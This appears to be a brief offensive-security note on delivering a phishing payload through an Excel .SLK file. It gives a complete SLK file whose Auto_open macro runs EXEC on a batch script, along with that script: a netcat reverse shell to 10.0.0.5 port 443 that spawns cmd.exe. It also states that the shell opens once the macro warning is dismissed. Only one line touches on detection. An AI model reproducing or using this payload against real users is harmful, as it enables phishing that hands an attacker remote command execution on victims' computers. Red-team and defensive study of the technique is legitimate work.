Phishing: .SLK Excel
Create an new text file, put the the below code and save it as .slk file:
demo.slk
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E
Note that the shell.cmd refers to a simple nc reverse shell batch file:
c:\shell.cmd
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
Once the macro warning is dismissed, the reverse shell pops as expected:
Since the file is actually a plain text file, detecting/triaging malicious intents are made easier.
Note that the payload file could be saved as a .csv - note the additional warning though:
